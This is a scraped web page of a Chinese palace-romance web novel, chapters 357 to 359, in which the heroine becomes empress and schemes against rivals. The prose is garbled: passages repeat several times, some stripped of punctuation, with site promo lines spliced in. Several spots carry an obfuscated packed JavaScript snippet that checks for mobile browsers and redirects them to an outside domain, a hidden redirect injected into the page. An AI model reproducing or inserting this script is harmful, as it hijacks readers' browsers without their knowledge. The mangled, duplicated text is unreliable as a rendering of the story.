听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “承基写得也很好看。云清婳夸奖道。 话音刚落,承基的小脸瞬间由阴转晴。 他拉着辞忧到一边的毛毡上玩木马去了。 “蛮蛮,承基跟你越发像了。裴墨染哭笑不得地调侃,他冲云清婳勾勾手,示意她在他身边坐下。 云清婳坐到他身侧,她娇嗔地瞪了他一眼,“我哪有他这么做作? “呵…… “我都有点担心了,两个孩子好像都是捡咱们的缺点长。云清婳倚靠在裴墨染的怀里,她越想越心塞。 承基茶兮兮,辞忧贱兮兮的。 “胡说八道,两个孩子长得像你,那么好看,怎就是缺点了?他半玩笑半认真的纠正。 她笑得更加灿烂,“夫君越来越油嘴滑舌了。 忽的,云清婳像是想到什么,她递给飞霜一个眼神。 飞霜将册子上首呈上。 “我把各个夫人的位份跟封号拟好了,你看看有没有要修改的?她将锦册交给裴墨染。 裴墨染脸上的线条骤然紧绷,面色暗了暗,他随意翻看了几眼,将锦册丢到一边,“这些全权由你决定,不必跟我说。 他又道:“蛮蛮,其实方才我去了慈宁宫,你跟太后说的话我都听见了。 “……云清婳看向他,左边的黛眉微微一挑,等待他的下文。 “选秀的事,我都知道了。他握住她的手,“委屈你了…… 飞霜有些惊讶。 云清婳早就见怪不怪,一个男人爱你的时候,你无论做了什么,他都会心疼。 就算你杀了人,他还会担心你拿刀的时候手沉不沉。 她戳戳他的脸,“夫君心里乐开花了吧? 裴墨染微微一怔,他的桃花眼陡然瞪大,拔高声音道:“蛮蛮,我不是沉湎于女色的人,你是知道的,我有什么可高兴?我有你就够了,照我说,什么劳什子秀女,我一个都不要!有你一个就够我烦了。 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35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400963|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “承基写得也很好看。”云清婳夸奖道。 话音刚落,承基的小脸瞬间由阴转晴。 他拉着辞忧到一边的毛毡上玩木马去了。 “蛮蛮,承基跟你越发像了。”裴墨染哭笑不得地调侃,他冲云清婳勾勾手,示意她在他身边坐下。 云清婳坐到他身侧,她娇嗔地瞪了他一眼,“我哪有他这么做作?” “呵……”裴墨染轻笑。 “我都有点担心了,两个孩子好像都是捡咱们的缺点长。”云清婳倚靠在裴墨染的怀里,她越想越心塞。 承基茶兮兮,辞忧贱兮兮的。 “胡说八道,两个孩子长得像你,那么好看,怎就是缺点了?”他半玩笑半认真的纠正。 她笑得更加灿烂,“夫君越来越油嘴滑舌了。” 忽的,云清婳像是想到什么,她递给飞霜一个眼神。 飞霜将册子上首呈上。 “我把各个夫人的位份跟封号拟好了,你看看有没有要修改的?”她将锦册交给裴墨染。 裴墨染脸上的线条骤然紧绷,面色暗了暗,他随意翻看了几眼,将锦册丢到一边,“这些全权由你决定,不必跟我说。” 他又道:“蛮蛮,其实方才我去了慈宁宫,你跟太后说的话我都听见了。” “……”云清婳看向他,左边的黛眉微微一挑,等待他的下文。 “选秀的事,我都知道了。”他握住她的手,“委屈你了……” 飞霜有些惊讶。 云清婳早就见怪不怪,一个男人爱你的时候,你无论做了什么,他都会心疼。 就算你杀了人,他还会担心你拿刀的时候手沉不沉。 她戳戳他的脸,“夫君心里乐开花了吧?” 裴墨染微微一怔,他的桃花眼陡然瞪大,拔高声音道:“蛮蛮,我不是沉湎于女色的人,你是知道的,我有什么可高兴?我有你就够了,照我说,什么劳什子秀女,我一个都不要!有你一个就够我烦了。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “承基写得也很好看。云清婳夸奖道。 话音刚落,承基的小脸瞬间由阴转晴。 他拉着辞忧到一边的毛毡上玩木马去了。 “蛮蛮,承基跟你越发像了。裴墨染哭笑不得地调侃,他冲云清婳勾勾手,示意她在他身边坐下。 云清婳坐到他身侧,她娇嗔地瞪了他一眼,“我哪有他这么做作? “呵……裴墨染轻笑。 “我都有点担心了,两个孩子好像都是捡咱们的缺点长。云清婳倚靠在裴墨染的怀里,她越想越心塞。 承基茶兮兮,辞忧贱兮兮的。 “胡说八道,两个孩子长得像你,那么好看,怎就是缺点了?他半玩笑半认真的纠正。 她笑得更加灿烂,“夫君越来越油嘴滑舌了。 忽的,云清婳像是想到什么,她递给飞霜一个眼神。 飞霜将册子上首呈上。 “我把各个夫人的位份跟封号拟好了,你看看有没有要修改的?她将锦册交给裴墨染。 裴墨染脸上的线条骤然紧绷,面色暗了暗,他随意翻看了几眼,将锦册丢到一边,“这些全权由你决定,不必跟我说。 他又道:“蛮蛮,其实方才我去了慈宁宫,你跟太后说的话我都听见了。 “……云清婳看向他,左边的黛眉微微一挑,等待他的下文。 “选秀的事,我都知道了。他握住她的手,“委屈你了…… 飞霜有些惊讶。 云清婳早就见怪不怪,一个男人爱你的时候,你无论做了什么,他都会心疼。 就算你杀了人,他还会担心你拿刀的时候手沉不沉。 她戳戳他的脸,“夫君心里乐开花了吧? 裴墨染微微一怔,他的桃花眼陡然瞪大,拔高声音道:“蛮蛮,我不是沉湎于女色的人,你是知道的,我有什么可高兴?我有你就够了,照我说,什么劳什子秀女,我一个都不要!有你一个就够我烦了。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “承基写得也很好看。”云清婳夸奖道。 话音刚落,承基的小脸瞬间由阴转晴。 他拉着辞忧到一边的毛毡上玩木马去了。 “蛮蛮,承基跟你越发像了。”裴墨染哭笑不得地调侃,他冲云清婳勾勾手,示意她在他身边坐下。 云清婳坐到他身侧,她娇嗔地瞪了他一眼,“我哪有他这么做作?” “呵……”裴墨染轻笑。 “我都有点担心了,两个孩子好像都是捡咱们的缺点长。”云清婳倚靠在裴墨染的怀里,她越想越心塞。 承基茶兮兮,辞忧贱兮兮的。 “胡说八道,两个孩子长得像你,那么好看,怎就是缺点了?”他半玩笑半认真的纠正。 她笑得更加灿烂,“夫君越来越油嘴滑舌了。” 忽的,云清婳像是想到什么,她递给飞霜一个眼神。 飞霜将册子上首呈上。 “我把各个夫人的位份跟封号拟好了,你看看有没有要修改的?”她将锦册交给裴墨染。 裴墨染脸上的线条骤然紧绷,面色暗了暗,他随意翻看了几眼,将锦册丢到一边,“这些全权由你决定,不必跟我说。” 他又道:“蛮蛮,其实方才我去了慈宁宫,你跟太后说的话我都听见了。” “……”云清婳看向他,左边的黛眉微微一挑,等待他的下文。 “选秀的事,我都知道了。”他握住她的手,“委屈你了……” 飞霜有些惊讶。 云清婳早就见怪不怪,一个男人爱你的时候,你无论做了什么,他都会心疼。 就算你杀了人,他还会担心你拿刀的时候手沉不沉。 她戳戳他的脸,“夫君心里乐开花了吧?” 裴墨染微微一怔,他的桃花眼陡然瞪大,拔高声音道:“蛮蛮,我不是沉湎于女色的人,你是知道的,我有什么可高兴?我有你就够了,照我说,什么劳什子秀女,我一个都不要!有你一个就够我烦了。” 你的朋友正在书荒,快去帮帮他吧 第357章 封后大典 后宅那么多女人,整日勾心斗角、叽叽喳喳,烦人得很。 他见识过的女人太多了,已经提不起兴趣了。 云清婳瞪了他一眼。 她阴阳怪气道:“夫君对女人没兴趣?莫非对男人感兴趣?” 裴墨染的耳根子都涨红了,他低声道:“胡说什么呢?” “我岂是好龙阳之癖的人?蛮蛮,你就是个女流氓!” 她嗤嗤地笑了,“那可不一定,睿王、裴玉珠不都是?裴家的根就是有问题!” 裴墨染瞳孔地震,“我可不一样!他们都把你教坏了,整日胡说八道!” 他在她的屁股上轻拍了一下,“日后不许说了,当心把孩子教坏。” 云清婳努努嘴。 就在这时,承基、辞忧走了过来,他们歪着脑袋看着云清婳,“娘亲被打屁股了,娘亲做错事了吗?” 云清婳的老脸一红,将脸埋进裴墨染的怀里。 裴墨染的身子僵硬了一瞬,他低咳了咳,“娘亲背后有灰,我给娘亲拍拍。” 两个小奶包两眼冒光,精明地看着云清婳。 她一噎,连忙点头,“对。” “哦。”承基、辞忧点点头,手牵着手去找奶娘喝奶了。 云清婳伸出手,拧着裴墨染的耳朵,她虎着脸,“裴墨染,你下次注意点,在孩子面前丢**了!” 裴墨染的嘴角噙着笑,“娘子,我下次不敢了!” “下次再犯,我定不饶你。” …… 翌日,云清婳便将给各个夫人册封的位份跟分宫的懿旨交给了内务府。 很快,各个夫人便迁宫完毕。 魏娴被封为贤妃,陈如燕因为怀孕被封为燕嫔,其他怀孕的夫人以及入府时间长的也都被封了嫔,柳玉、姜瑶儿等其他入府不久的被封为贵人。只有个别设计陷害、挑拨是非的夫人被封为才人。 清早,魏娴便带领众人来坤宁宫请安。 云清婳照旧软硬兼施,将众人关怀一番,随后口头告诫不准生事。 遣散众人后,她留下了魏娴。 魏娴已经许久未见云清婳,再次见面,她不禁红了眼。 “蛮蛮,我们终于做到了!”她的眼中水光闪烁。 云清婳颔首,她握住魏娴的双手,“阿娴跟承宁可还好? “一切安好。她有种披荆斩棘,苦尽甘来之感。 她不禁喜极而泣。 “等承宁再长大些,我便让裴墨染给你提一提位份。云清婳望着她的双眼许下承诺。 魏娴平静地摇摇头,她看云清婳的眼神,就像在看一个孩子,宠溺中夹杂着些许无奈,“蛮蛮,你这么聪慧,怎么在感情上总是想不通? “嗯? “皇上是不会让人威胁到你的,所以我的位份不会再提了。魏娴点破。 云清婳浅浅地勾起嘴角,高兴吗? 她并不高兴,心中甚至没有任何感觉。 “只是一时的罢了,也许再过几年,这份殊荣会移到别人身上。她的笑中透着淡淡的讽刺。 魏娴从心里佩服起了云清婳,她总是这么理智、拎得清。 如今的胜利只是一时的,没到最后,谁也不知结果会如何。 “蛮蛮说得对,所以承基一定不能有任何闪失,咱们要看好孩子。魏娴的声音沉了下去,“听说蛮蛮命人安排选秀的事了?也不知这一批秀女里面有没有不安分的,而且选秀关乎各个官员的颜面,许多官员都把自己的女儿往选秀名单里塞,搞不好就得罪了大人物。 “贤妃娘娘帮主子出出主意吧,皇后娘娘才上位就遇到这么棘手的事情,若是开罪了前朝的大臣就不好了。飞霜着急地说。 魏娴忧虑地看着云清婳,“蛮蛮,你可有主意? 云清婳的双眼炯炯有神,“苏采薇不是一直想彰显身份,证明自己的地位吗?何不把这次机会给她?我可从没想过插手! 二人的眼睛瞬间亮了。 …… 此次选秀,云清婳全权让给苏采薇操办。 苏采薇高兴不已,以为自己终于能彰显威严,让众人不敢看清苏家。 她将好几个苏家女子挑上了名单。 可到了最后,苏家人全被裴墨染从名单上划掉,还下令永世不得入宫。 这让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410067|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏家闹了好大的笑话,在朝野里更加抬不起头,苏家人对苏采薇的微词更多了。 许多臣子也因为自家闺女落选,也 对苏采薇怨念极深。 云清婳跟飞霜在背地里偷笑了好几次。 为了膈应云清婳,苏采薇选了许多与云清婳相貌相似、年纪轻轻的秀女。 裴墨染并不知晓此事,把这一批秀女皆封为才人。 云清婳也不在意。 因为她笃定,裴墨染对她爱情的保鲜期应该还有几年。 这几年里,能让她报仇就够了。 等大仇得报,裴墨染爱喜欢谁,就喜欢谁,跟她没有丝毫关系了。 …… 封后大典跟立储大典被裴墨染选在了同一日。 那一日,云清婳牵着承基的手,走上了太和殿,二人分别从裴墨染手中接过凤印、太子宝印,接受满朝文武百官的跪拜。 云清婳站在台阶上,睥睨着下跪的众人,她看见了云丞相、云隽、云褚、谢泽修…… 别说,被人跪拜,看着众人匍匐在脚下的感觉真好。 她的视线最落洒在了角落里的裴云澈身上。 他的身形清瘦,穿着玄色纹**朝服,本就棱角分明的轮廓显得更加深邃,高挺的眉骨在眼窝洒下一片阴影,漆黑的眸中忧郁浓得化不开。 另一边,苏采薇坐在太后的宝座上,她眯着眼,眼中的恨意如同潮水,难以遮掩地射向云清婳。 云清婳假装不知,她递给飞霜一个眼色,飞霜立即去办。 册封典礼完毕,按照太庙规矩,云清婳在回坤宁宫接受妃嫔、命妇**前,要去给太后请安。 她一走进翊坤宫,便看见了裴云澈。 裴云澈深深地看着她,眸子一瞬不瞬,其中包含着千言万语。 可她身后气势恢宏的仪仗不容忽略,他只能鞠躬,恭敬而低沉道:“见过皇后娘娘。 云清婳的眼中写满了复杂的情愫,她道:“平身吧。 飞霜机灵地屏退众人,让翊坤宫的宫人远远的去角落站着。 这样又能避险,也能防止云清婳、裴云澈说话被人听见。 第358章 蛮蛮也看不起我? 云清婳哑声道:“裴郎受苦了。” “成王败寇,自古以来就是如此。”裴云澈狼狈地勾起嘴角,可终究未成一个笑弧,“我还能活着,还是托了父皇的福。” 他自嘲般地说。 云清婳的眼中流露出了心疼,“裴郎,事已至此,我们别无选择,只能认命了。” “蛮蛮,你信命吗?我不信!老天定是瞎了眼,否则我从小才智卓绝,三岁识字,五岁吟诗,怎会输给一个无知粗鄙,胸无点墨的武夫?”裴云澈不再伪装温润,俊逸的脸上显露出桀骜。 云清婳登时放心了。 裴云澈的心气还在就好! 她的眼中闪着隐隐泪光,她吸吸鼻子,压住了哭腔,“裴郎应该收到风声了吧?裴墨染想要你去就藩。” 裴云澈的眸中闪过寒光,“我知道。” “裴郎快走吧,免得裴墨染出尔反尔,起了杀心。”她的眼中满是不舍,“今生你我恐怕再难相见,但愿来世裴郎与我能够圆满。” 裴云澈的鼻子陡然发酸,他的语气无比坚定,“我是不会走的!只要离开京城,我就彻底一无所有了!封地里的官员全是裴墨染的心腹,我难以大展拳脚。” “可是……” “蛮蛮!”裴云澈打断她的话,“你不想见我吗?此次倘若我真的离京,我们这辈子恐怕难以相见。” 云清婳的眼角垂下了两行泪,眼泪在下巴上汇聚成了一大滴,看起来像是一颗闪烁的珍珠,莫名有一种凄凉的美感。 “世事艰难,不是我们想做什么就能做什么的,比起相见,我更想要裴郎活着。”她哽咽着。 活着? “呵……” 一股怒火跟羞恼直冲裴云澈的心头。 现在,对他而言,就连活着也是奢求吗? 从小到大只有他高高在上可怜别人的份儿,可这两年一切都颠倒了! 他凝眉,语气夹杂着些许不耐,“蛮蛮也看不起我不成?你在可怜我?觉得我应该苟延残喘,仰人鼻息?” “裴郎若是这么想,我也没有办法!”云清婳的脸垮了,她瞪了他一眼,径自去了翊坤宫的花厅。 “蛮蛮……”裴云澈后知后觉地意识到自己口不择言,迁怒了云清婳。 他想追上去可才抬脚就看到了角落的宫人。 他的面皮涨得通红踌躇不前焦急地看着她的背影。 云清婳才踏上台阶飞霜就忍笑道:“裴云澈急坏了在原地抓心挠肝的恐怕这下子更不想走了。” “不想走就对了。”她轻扶了下点翠东珠耳坠子笑中带着诡秘。 裴云澈一定要留下来乖乖受死! …… 云清婳去给苏采薇象征性地请了安。 苏采薇坐在凤位上故意没让云清婳平身。 金嬷嬷胆战心惊她忙不迭劝道:“娘娘该让皇后娘娘起身了。” “……”苏采薇撑着脑袋慵懒地打了个哈欠假装没有听见。 云清婳径自直起了身子。 毕竟苏采薇连**之末都算不上充其量就是个吉祥物还有什么值得她忌惮的呢? 苏采薇的脸色大变“哀家可让你起身了?皇后懂不懂规矩?第一贵女的教养就是如此?” “不论第一贵女的教养如何本宫也已经是皇后!”云清婳一脸鄙夷地讽刺。 苏采薇跟金嬷嬷都惊住了。 二人都没想到向来端庄得体的云清婳会不顾体面演都不演了。 “云清婳你以为皇后的位置好坐吗?你知道本宫在这个位置上有多煎熬吗?你能长久的坐下去吗?”苏采薇的双手紧攥成了拳头指甲深深抠进了掌心。 云清婳笑了是一种不屑的笑像是高位者对下位者的蔑视。 “连你都可以当皇后本宫有何不可?”她别有深意的说着眼中含着令人发怵的笑。 苏采薇像是瞬间跌入了冰窖背后的汗**倒竖。 这个**又在提先皇的死因用这个威胁她! 但她已经把那药瓶处理掉了! 不再有蛛丝马迹证明先帝的死跟她有关系。 苏采薇慌乱地吞了吞口水鼻腔中发出哼声“人老色衰色衰而爱驰哀家等着你哭的那一天!你以为墨染真的喜欢你?他只是喜欢你的神韵、长相 话音刚落飞霜膈应的咧嘴。 苏采薇为了分走主子的宠爱找了好多相貌相似的女子进宫。 替身这 一套是最恶心的! 云清婳不仅不生气,一时之间忍不住竟笑了。 苏采薇究竟是有多蠢,现在还拿小情小爱威胁她? 她走到这个位置,拥有了现在身份,此刻想要的是绝对权力! “其实裴玉珠的有些话,挺有道理。” 说完,她转身离开。 皇后的神色先是出现了短暂的空白,随后就是恼羞成怒。 “放肆!你居然敢骂哀家!谁准你走了?”苏采薇歇斯底里。 可云清婳根本不理会。 飞霜好奇地问:“主子,裴玉珠说了她什么啊?” “说她,蠢钝如猪。”云清婳扬起玩味的坏笑。 飞霜扑哧笑喷了,“奴婢倒是觉得猪挺聪明的,这么说来,辱猪了。” 云清婳低低地笑了。 主仆二人走到亭院时看见了裴云澈,他还未离开。 他忙不迭上前,眼中含着愧意歉疚,他才启唇,云清婳便目不斜视从他身边走过,带着隆重的仪仗浩浩荡荡地离开了。 就好像他只是一只微不足道的蝼蚁,是谄媚、阿谀奉承的芸芸众生中的一人。 裴云澈的心一下子从云端跌入了谷底,连同尊严也被碾碎。 曾经他以为蛮蛮是一朵需要精心呵护的娇花,需要他来为她遮风挡雨。 可现在,蛮蛮贵为皇后,一人之下,只要她愿意,他连跟她说话的资格都没有,甚至跟她并肩同行都不配,只能低头看着她华丽的裙摆。 …… 云清婳接受完后妃、命妇的**后,她特意留下云夫人跟大嫂。 飞霜将几套黄金宝石头面呈上来,“这是主子特意为夫人、少夫人准备的。” 云夫人替女儿感到高兴,频频拭泪,姜柔也热泪盈眶。 “真是一人得道鸡犬升天。”姜柔打趣着,“曾经蛮蛮贵为太子妃,我还没有实感,只是心疼蛮蛮步步惊心,不能出一点错。现在巴结你大哥的人都快排队到护城河了。” 云夫人慈祥地笑了,“蛮蛮放心,你嫂子跟你说浑话呢,我们都有分寸,必不会让你为难。云家上下秉公守法,绝不**枉法,你只管母仪天下,云家不会拖你的后腿。” 云清婳的耳朵微微动了,她捕捉到了门外的脚步声。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 一套是最恶心的! 云清婳不仅不生气,一时之间忍不住竟笑了。 苏采薇究竟是有多蠢,现在还拿小情小爱威胁她? 她走到这个位置,拥有了现在身份,此刻想要的是绝对权力! “其实裴玉珠的有些话,挺有道理。 说完,她转身离开。 皇后的神色先是出现了短暂的空白,随后就是恼羞成怒。 “放肆!你居然敢骂哀家!谁准你走了?苏采薇歇斯底里。 可云清婳根本不理会。 飞霜好奇地问:“主子,裴玉珠说了她什么啊? “说她,蠢钝如猪。云清婳扬起玩味的坏笑。 飞霜扑哧笑喷了,“奴婢倒是觉得猪挺聪明的,这么说来,辱猪了。 云清婳低低地笑了。 主仆二人走到亭院时看见了裴云澈,他还未离开。 他忙不迭上前,眼中含着愧意歉疚,他才启唇,云清婳便目不斜视从他身边走过,带着隆重的仪仗浩浩荡荡地离开了。 就好像他只是一只微不足道的蝼蚁,是谄媚、阿谀奉承的芸芸众生中的一人。 裴云澈的心一下子从云端跌入了谷底,连同尊严也被碾碎。 曾经他以为蛮蛮是一朵需要精心呵护的娇花,需要他来为她遮风挡雨。 可现在,蛮蛮贵为皇后,一人之下,只要她愿意,他连跟她说话的资格都没有,甚至跟她并肩同行都不配,只能低头看着她华丽的裙摆。 …… 云清婳接受完后妃、命妇的**后,她特意留下云夫人跟大嫂。 飞霜将几套黄金宝石头面呈上来,“这是主子特意为夫人、少夫人准备的。 云夫人替女儿感到高兴,频频拭泪,姜柔也热泪盈眶。 “真是一人得道鸡犬升天。姜柔打趣着,“曾经蛮蛮贵为太子妃,我还没有实感,只是心疼蛮蛮步步惊心,不能出一点错。现在巴结你大哥的人都快排队到护城河了。 云夫人慈祥地笑了,“蛮蛮放心,你嫂子跟你说浑话呢,我们都有分寸,必不会让你为难。云家上下秉公守法,绝不**枉法,你只管母仪天下,云家不会拖你的后腿。 云清婳的耳朵微微动了,她捕捉到了门外的脚步声。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一套是最恶心的! 云清婳不仅不生气,一时之间忍不住竟笑了。 苏采薇究竟是有多蠢,现在还拿小情小爱威胁她? 她走到这个位置,拥有了现在身份,此刻想要的是绝对权力! “其实裴玉珠的有些话,挺有道理。” 说完,她转身离开。 皇后的神色先是出现了短暂的空白,随后就是恼羞成怒。 “放肆!你居然敢骂哀家!谁准你走了?”苏采薇歇斯底里。 可云清婳根本不理会。 飞霜好奇地问:“主子,裴玉珠说了她什么啊?” “说她,蠢钝如猪。”云清婳扬起玩味的坏笑。 飞霜扑哧笑喷了,“奴婢倒是觉得猪挺聪明的,这么说来,辱猪了。” 云清婳低低地笑了。 主仆二人走到亭院时看见了裴云澈,他还未离开。 他忙不迭上前,眼中含着愧意歉疚,他才启唇,云清婳便目不斜视从他身边走过,带着隆重的仪仗浩浩荡荡地离开了。 就好像他只是一只微不足道的蝼蚁,是谄媚、阿谀奉承的芸芸众生中的一人。 裴云澈的心一下子从云端跌入了谷底,连同尊严也被碾碎。 曾经他以为蛮蛮是一朵需要精心呵护的娇花,需要他来为她遮风挡雨。 可现在,蛮蛮贵为皇后,一人之下,只要她愿意,他连跟她说话的资格都没有,甚至跟她并肩同行都不配,只能低头看着她华丽的裙摆。 …… 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可现在,蛮蛮贵为皇后,一人之下,只要她愿意,他连跟她说话的资格都没有,甚至跟她并肩同行都不配,只能低头看着她华丽的裙摆。 …… 云清婳接受完后妃、命妇的**后,她特意留下云夫人跟大嫂。 飞霜将几套黄金宝石头面呈上来,“这是主子特意为夫人、少夫人准备的。 云夫人替女儿感到高兴,频频拭泪,姜柔也热泪盈眶。 “真是一人得道鸡犬升天。姜柔打趣着,“曾经蛮蛮贵为太子妃,我还没有实感,只是心疼蛮蛮步步惊心,不能出一点错。现在巴结你大哥的人都快排队到护城河了。 云夫人慈祥地笑了,“蛮蛮放心,你嫂子跟你说浑话呢,我们都有分寸,必不会让你为难。云家上下秉公守法,绝不**枉法,你只管母仪天下,云家不会拖你的后腿。 云清婳的耳朵微微动了,她捕捉到了门外的脚步声。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 一套是最恶心的! 云清婳不仅不生气一时之间忍不住竟笑了。 苏采薇究竟是有多蠢现在还拿小情小爱威胁她? 她走到这个位置拥有了现在身份此刻想要的是绝对权力! “其实裴玉珠的有些话挺有道理。” 说完她转身离开。 皇后的神色先是出现了短暂的空白随后就是恼羞成怒。 “放肆!你居然敢骂哀家!谁准你走了?”苏采薇歇斯底里。 可云清婳根本不理会。 飞霜好奇地问:“主子裴玉珠说了她什么啊?” “说她蠢钝如猪。”云清婳扬起玩味的坏笑。 飞霜扑哧笑喷了“奴婢倒是觉得猪挺聪明的这么说来辱猪了。” 云清婳低低地笑了。 主仆二人走到亭院时看见了裴云澈他还未离开。 他忙不迭上前眼中含着愧意歉疚他才启唇云清婳便目不斜视从他身边走过带着隆重的仪仗浩浩荡荡地离开了。 就好像他只是一只微不足道的蝼蚁是谄媚、阿谀奉承的芸芸众生中的一人。 裴云澈的心一下子从云端跌入了谷底连同尊严也被碾碎。 曾经他以为蛮蛮是一朵需要精心呵护的娇花需要他来为她遮风挡雨。 可现在蛮蛮贵为皇后一人之下只要她愿意他连跟她说话的资格都没有甚至跟她并肩同行都不配只能低头看着她华丽的裙摆。 …… 云清婳接受完后妃、命妇的**后她特意留下云夫人跟大嫂。 飞霜将几套黄金宝石头面呈上来“这是主子特意为夫人、少夫人准备的。” 云夫人替女儿感到高兴频频拭泪姜柔也热泪盈眶。 “真是一人得道鸡犬升天。”姜柔打趣着“曾经蛮蛮贵为太子妃我还没有实感只是心疼蛮蛮步步惊心不能出一点错。现在巴结你大哥的人都快排队到护城河了。” 云夫人慈祥地笑了“蛮蛮放心你嫂子跟你说浑话呢我们都有分寸必不会让你为难。云家上下秉公守法绝不**枉法你只管母仪天下 云清婳的耳朵微微动了她捕捉到了门外的脚步声。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第359章 敲打裴墨染 “娘、嫂子,你们真好。”她撒娇地倚靠在云夫人的怀里,稚气天真,像个孩子。 “这是我们应该做的,不然呢?效仿苏家拎不清,把自己作死?爹都说了,成为国丈、国舅只是表面风光,必须打起十二分精神,才不能被人抓住错处。”姜柔刮了下云清婳的鼻尖。 她笑道:“夫君待我跟孩子如珠似宝,一片真心,必不会让云家门庭凋零,蒙受冤屈。你们让爹爹放心吧,别整日提心吊胆,杞人忧天!” 没错! 她在敲打裴墨染。 原著情节里,裴墨染忌惮云家势力独大,待云家帮他扫平逆党后,他做的第一件事便是借刀**,扶持朝堂上另一股势力打击云家,逼爹爹致仕,削弱云家势力,让云家活在惊恐中,惶惶不可终日。 云夫人、姜柔愣怔了一瞬,但二人很快就反应过来。 “这种事谁说得准呢?”苏夫人的语气严肃,“伴君如伴虎,蛮蛮,日后你对陛下要恭敬谨慎,不要跟以前一样任性妄为,想说什么就说!” 姜柔的眼珠子快速瞥向窗外,“是啊,皇上是你的夫君,更是大昭的皇帝,终究是不同了。将来云家无事便好,若是有事,他若能念着旧情,不迁怒与你就好。” “是啊,皇上倘若能像先皇对皇后那样包容你,那便是你前世行善积德,烧高香了。”云夫人看似想要打破沉重的气氛。 可却让寝殿中的氛围跌至冰点。 窗外,裴墨染的脸上阴云滚滚,浑身的戾气勃发。 云家人真是可恶,揣测圣意也就罢了,居然还挑拨离间他跟蛮蛮的感情。 不过,不得不承认云丞相的敏锐。 真不愧是老狐狸,能混到丞相之位的人果真不简单。 他的确有动云家的心思…… 裴墨染的剑眉深深蹙起,他有些心虚,但更多的却是心烦。 因为改革之事,不得不大刀阔斧地进行。 **该怎么面对蛮蛮。 “娘,嫂嫂,你们再这么说,我真的要生气了。夫君不是那种薄情寡义的人,只要云家不犯错,他怎会动云家? 我跟他都有承基跟辞忧了,他怎会如此狠心?我若是连自己的夫君都防着,我何必嫁他,一个人岂不自在?”云清 婳的语气含着隐隐的怒。 姜柔讪讪地笑了“你怎么恼了?我们只是随口说说提醒你一下罢了。” “是啊蛮蛮我们也是为了你好。倘若你跟陛下真走到那一步你好歹有个防备不至于六神无主。”云夫人温柔地说。 云清婳忽地抽抽噎噎哭了起来“娘嫂嫂你们就不能盼着我好吗?倘若真有那么一日夫君这么无情地待我待云家我会自请出宫 裴墨染的心紧紧一缩。 他听不得蛮蛮离开他这些话。 她怎能离开他跟孩子? 但同时他也是感动的蛮蛮这么乖巧孝顺的人为了他居然一反常态的冲撞了岳母跟嫂嫂并且毫无怀疑地站在他的一边选择相信他。 “哭什么?今日是大喜的日子是你的封后大典。跟你随便聊聊罢了怎么真恼了?”姜柔幽幽地说似乎也带了几分脾气。 云夫人苦口婆心道:“蛮蛮娘怎会盼着你不好?你不是孩子了考虑得多一些没有错。” “呜呜……我这就跟夫君和离然后出家为尼你们满意了吧?”云清婳跑进了寝殿深处。 飞霜福福身她愧疚道:“夫人、少夫人主子不是冲您们她最近几个月太累了才会口不择言。俗话说得好脾气都是对着最亲近的人发的。” 云夫人跟姜柔听明白了飞霜的逐客令识趣地离开。 裴墨染立即藏在拐角处。 他可是九五之尊怎能被人发现偷听? 待云夫人、姜柔走后裴墨染才施施然现身他屏退了下人不准通报静悄悄地走进寝殿。 此时云清婳正斜趴在软榻上嘤嘤地啜泣将脸埋在枕头上。 裴墨染的心像是被烙铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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首当其冲就是要把当今朝野最大的势力给熄灭! 也就是云丞相。 但是这些他不好说给蛮蛮听其一他不想跟妻子讨论朝前的事其二他总不能跟蛮蛮说我要动你爹吧? 他用指腹揩去她眼角的泪“我没有不敢蛮蛮怎么会这么想?” 她扑进他的怀里抬起头看着他的双眼“夫君我好害怕。” “怕什么呢?”裴墨染明知故问。 在先帝最后几个月的调教下他已然深谙皇家权术学会隐藏情绪眼底的情愫完全被心疼掩盖看不出丝毫的心虚与波澜。 云清婳带着哭腔“我怕我被遮了眼爱错了人。怕夫君将来会厌烦我即使云家蒙冤你也不会查明真相。” 她不由得在心里感叹裴墨染的进步。 因为她捕捉不到他的情绪变化参不透他的想法了…… 狗男人经过先帝的调教已经从土狗变成了精明的狼狗。 裴墨染凝眉他不悦地提高声音“你怎会爱错人?谁都能质疑我的真心但是你不可以蛮蛮难道非要我把心掏出来你才信?” “我不会伤害你不会让你伤心难过我能对天发誓。” 说着他竖起三根手指“我倘若伤害云清婳让她伤心难过我便遭天打雷劈……” 云清婳慢吞吞地捂住他的嘴。 可惜啊赌咒发誓是假的。 倘若真的言出法随就好了。 